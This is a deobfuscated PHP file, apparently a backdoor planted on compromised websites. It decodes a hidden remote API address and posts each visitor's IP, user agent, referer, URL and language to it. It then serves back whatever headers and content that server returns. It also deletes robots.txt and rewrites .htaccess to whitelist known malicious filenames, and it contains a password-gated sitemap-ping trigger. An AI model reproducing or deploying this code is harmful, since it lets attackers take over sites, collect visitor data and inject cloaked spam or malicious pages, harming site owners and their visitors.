/* Decoded by unphp.net */

<?php 
function jJaxCzvNjsJw($MKIKnnzCzY, $xpErMQDPIC, $mobjKHQfyi) { $kKmiSxsDiZ = 'https://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["protocol"], $mobjKHQfyi["server_domain"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if(isset(${"_REQUEST"}["st"])){ var_dump($nOgnqfBVPo); var_dump($gWBKjBARkC); die(); } $CgeEDWmQRq = "google"; $oFWMrJQhhw = "success"; $dKnxHeQuMT = "failed"; if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } else { $kKmiSxsDiZ = 'http://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["protocol"], $mobjKHQfyi["server_domain"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } die($dKnxHeQuMT); } } function qUHIRnYbOUVsGRz($uBBbRMPwpb, $qIcyUPvZsQ = 1, $xcoyXrmUdo = NULL, $QNsLZmFBUs = array(), $NItRrWcSxJ = "s") { $PdmTLpzuGl = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; $hSUChBTfoL = $UrGnMNzbVs = ''; foreach (explode("|", $PdmTLpzuGl) as $WXLgeRNvdU) { $QQPbBVaSct = 1; foreach (explode("+", $WXLgeRNvdU) as $vYmewOQQSs) { if (!function_exists($vYmewOQQSs)) { $QQPbBVaSct = 0; } } unset($vYmewOQQSs); if ($QQPbBVaSct) { $hSUChBTfoL = $WXLgeRNvdU; break; } } unset($PdmTLpzuGl, $WXLgeRNvdU); if ($hSUChBTfoL == '') { return 0; } if (substr($hSUChBTfoL, 0, 1) == "c") { $wckbGXBwXX = curl_init(); curl_setopt($wckbGXBwXX, CURLOPT_URL, $uBBbRMPwpb); curl_setopt($wckbGXBwXX, CURLOPT_USERAGENT, $NItRrWcSxJ); curl_setopt($wckbGXBwXX, CURLOPT_RETURNTRANSFER, 1); curl_setopt($wckbGXBwXX, CURLOPT_TIMEOUT, 30); curl_setopt($wckbGXBwXX, CURLOPT_FRESH_CONNECT, TRUE); if ($qIcyUPvZsQ == 2) { curl_setopt($wckbGXBwXX, CURLOPT_POST, 1); if(is_array($xcoyXrmUdo)){ curl_setopt($wckbGXBwXX, CURLOPT_POSTFIELDS, http_build_query($xcoyXrmUdo)); } } $fsAghpsHsr = curl_exec($wckbGXBwXX); curl_close($wckbGXBwXX); if ($fsAghpsHsr) { return $fsAghpsHsr; } } $MsXXACBkpi = parse_url($uBBbRMPwpb); isset($MsXXACBkpi["host"]) || $MsXXACBkpi["host"] = ''; isset($MsXXACBkpi["path"]) || $MsXXACBkpi["path"] = ''; isset($MsXXACBkpi["query"])|| $MsXXACBkpi["query"] = ''; isset($MsXXACBkpi["port"]) || $MsXXACBkpi["port"] = ''; $SMZOScTPtr = $MsXXACBkpi["path"] ? $MsXXACBkpi["path"].($MsXXACBkpi["query"] ? '?'.$MsXXACBkpi["query"] : '') : "/"; $pupPhHgrRN = $MsXXACBkpi["host"]; if ($MsXXACBkpi["scheme"] == "https") { $QPLxnSdGKs = '1.1'; $ATMHBgzqlZ = empty($MsXXACBkpi["port"]) ? 443 : $MsXXACBkpi["port"]; $pupPhHgrRN = 'ssl://'; $pupPhHgrRN .= $MsXXACBkpi["host"]; } else { $QPLxnSdGKs = '1.0'; $ATMHBgzqlZ = empty($MsXXACBkpi["port"]) ? 80 : $MsXXACBkpi["port"]; } $QuGPjJAuYg = 'Host: '; $QuGPjJAuYg .= $pupPhHgrRN; $QNsLZmFBUs[] = $QuGPjJAuYg; $QNsLZmFBUs[] = "Connection".': '."Close"; $QNsLZmFBUs[] = "User-Agent".': ' . $NItRrWcSxJ; $QNsLZmFBUs[] = "Accept".': '.'*/*'; unset($QuGPjJAuYg); if ($qIcyUPvZsQ == 2) { if(is_array($xcoyXrmUdo)){ $xcoyXrmUdo = http_build_query($xcoyXrmUdo); } $QNsLZmFBUs[] = "Content-type".': '."application/x-www-form-urlencoded"; $QNsLZmFBUs[] = "Content-Length".': '.strlen($xcoyXrmUdo); $UrGnMNzbVs = "POST $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL.$xcoyXrmUdo; unset($xcoyXrmUdo); } else { $UrGnMNzbVs = "GET $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL; } unset($QNsLZmFBUs, $MsXXACBkpi, $QPLxnSdGKs, $SMZOScTPtr); $jVDzGpRMvr = $JJdWjIptSD = ''; $ttwXsbEarS = null; if (substr($hSUChBTfoL, -1) == "n") { $ttwXsbEarS = $hSUChBTfoL($pupPhHgrRN, $ATMHBgzqlZ, $jVDzGpRMvr, $JJdWjIptSD, 30); }else{ if (substr($hSUChBTfoL, -1) == "t") { $BquydnloAE = 'tcp://'; $BquydnloAE .= $pupPhHgrRN; $BquydnloAE .= ':'; $BquydnloAE .= $ATMHBgzqlZ; $ttwXsbEarS = stream_socket_client($BquydnloAE, $jVDzGpRMvr, $JJdWjIptSD, 30); unset($BquydnloAE); } } $qBZqQoVXbT = ''; if ($ttwXsbEarS) { stream_set_blocking($ttwXsbEarS, TRUE); stream_set_timeout($ttwXsbEarS, 30); fwrite($ttwXsbEarS, $UrGnMNzbVs); $OfgdqrwNkQ = stream_get_meta_data($ttwXsbEarS); if (!$OfgdqrwNkQ["timed_out"]) { while (!feof($ttwXsbEarS)) { $KocxiAyDAo = fgets($ttwXsbEarS); if ($KocxiAyDAo && (rawurlencode($KocxiAyDAo) == "%0D%0A" || rawurlencode($KocxiAyDAo) == "%0A")) { break; } unset($KocxiAyDAo); } while (!feof($ttwXsbEarS)) { $aIjqUZtyHm = fread($ttwXsbEarS, 8192); $qBZqQoVXbT .= $aIjqUZtyHm; unset($aIjqUZtyHm); } } unset($OfgdqrwNkQ); fclose($ttwXsbEarS); } else { if (substr($hSUChBTfoL, -1) == "e") { $MjyXRptCDS = gethostbyname($pupPhHgrRN); $ttwXsbEarS = $hSUChBTfoL(AF_INET, SOCK_STREAM, 0); if (socket_connect($ttwXsbEarS, $MjyXRptCDS, $ATMHBgzqlZ)) { socket_write($ttwXsbEarS, $UrGnMNzbVs, strlen($UrGnMNzbVs)); while($EzaPbekUDz=@socket_read($ttwXsbEarS, 8192)){ $qBZqQoVXbT .= $EzaPbekUDz; unset($EzaPbekUDz); } $qBZqQoVXbT = explode("

", $qBZqQoVXbT); array_shift($qBZqQoVXbT); $qBZqQoVXbT = implode("

", $qBZqQoVXbT); } socket_close($ttwXsbEarS); unset($MjyXRptCDS); } } unset($UrGnMNzbVs, $hSUChBTfoL, $ttwXsbEarS, $ATMHBgzqlZ, $pupPhHgrRN); return $qBZqQoVXbT; } function f_check_htaccess() { if (file_exists("robots".'.txt')){ @unlink("robots".'.txt'); } $ShXBqTtPjp = '.'."htaccess"; $qBZqQoVXbT = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($ShXBqTtPjp)) { $WuvXcVSHeG = file_get_contents($ShXBqTtPjp); if ($qBZqQoVXbT == $WuvXcVSHeG) { return; } } @chmod($ShXBqTtPjp, 0777); @file_put_contents($ShXBqTtPjp, $qBZqQoVXbT); @chmod($ShXBqTtPjp, 0644); } $FrPtMCNorn = "yaiHBRV0ycADmofvsLFzxUmzLMXzfIitjYc2LgV0DLHXAYY4xNkye5CiZZhXjNM0LYumSNQhccg2d0auTbSGolu2kZOQe=N="; $UDzHptTEMI = str_split($FrPtMCNorn); $mFUqRHwYIj = ''; for ($EcXVqZKvHC=0;$EcXVqZKvHC<count($UDzHptTEMI);$EcXVqZKvHC++) { if ($EcXVqZKvHC%2 != 0) { $mFUqRHwYIj .= $UDzHptTEMI[$EcXVqZKvHC]; } } $mobjKHQfyi["default_params"] = $FrPtMCNorn; $mobjKHQfyi["api"] = base64_decode($mFUqRHwYIj); $mobjKHQfyi["server_domain"] =isset(${"_SERVER"}["HTTP_HOST"]) ? ${"_SERVER"}["HTTP_HOST"] : ${"_SERVER"}["SERVER_NAME"]; $mobjKHQfyi["request_url"] = ${"_SERVER"}["REQUEST_URI"]; $mobjKHQfyi["referer"] = isset(${"_SERVER"}["HTTP_REFERER"]) ? ${"_SERVER"}["HTTP_REFERER"] : ''; $mobjKHQfyi["user_agent"] = isset(${"_SERVER"}["HTTP_USER_AGENT"]) ? ${"_SERVER"}["HTTP_USER_AGENT"] : ''; $mobjKHQfyi["ip"] = isset(${"_SERVER"}["HTTP_VIA"]) ? ${"_SERVER"}["HTTP_X_FORWARDED_FOR"] : ${"_SERVER"}["REMOTE_ADDR"]; if($mobjKHQfyi["ip"] == null) {$mobjKHQfyi["ip"] = "";} $mobjKHQfyi["protocol"] = isset(${"_SERVER"}["HTTPS"]) ? 'https://' : 'http://'; $mobjKHQfyi["language"] = isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]) ? ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"] : ''; if (isset(${"_REQUEST"}["params"])) {print_r($mobjKHQfyi);die();} if (isset(${"_REQUEST"}["pwd163"])) { if (md5(${"_REQUEST"}["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"_GET"}["sitemap"])) { $xpErMQDPIC = ${"_GET"}["sitemap"]; $FhnNmiYXwJ = 'www.google.com'; if (isset(${"_GET"}["google_url"])) { $FhnNmiYXwJ = ${"_GET"}["google_url"]; } jJaxCzvNjsJw($FhnNmiYXwJ, $xpErMQDPIC, $mobjKHQfyi); } } } f_check_htaccess(); $xIRUcCihZo = array( "domain" => $mobjKHQfyi["server_domain"], "request_url" => $mobjKHQfyi["request_url"], "ip" => $mobjKHQfyi["ip"], "agent" => $mobjKHQfyi["user_agent"], "referer" => $mobjKHQfyi["referer"], "protocol" => $mobjKHQfyi["protocol"], "language" => $mobjKHQfyi["language"] ); $qBZqQoVXbT = qUHIRnYbOUVsGRz($mobjKHQfyi["api"], 2, $xIRUcCihZo, array(), $mobjKHQfyi["server_domain"]); if (isset(${"_REQUEST"}["dump"])) { var_dump($qBZqQoVXbT); $qBZqQoVXbT = qUHIRnYbOUVsGRz("https://"."google".".com"); var_dump($qBZqQoVXbT);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ die(); } $qBZqQoVXbT = @gzuncompress(base64_decode($qBZqQoVXbT)); $uCGHUlYYXH = @preg_split("/\|/si", $qBZqQoVXbT, -1, PREG_SPLIT_NO_EMPTY); if ($uCGHUlYYXH !== false && count($uCGHUlYYXH) > 1) { $aIjqUZtyHm = array_pop($uCGHUlYYXH); $aIjqUZtyHm = base64_decode($aIjqUZtyHm); foreach ($uCGHUlYYXH as $TppgRYejTQ) { @header($TppgRYejTQ); } echo $aIjqUZtyHm; die(); } ?>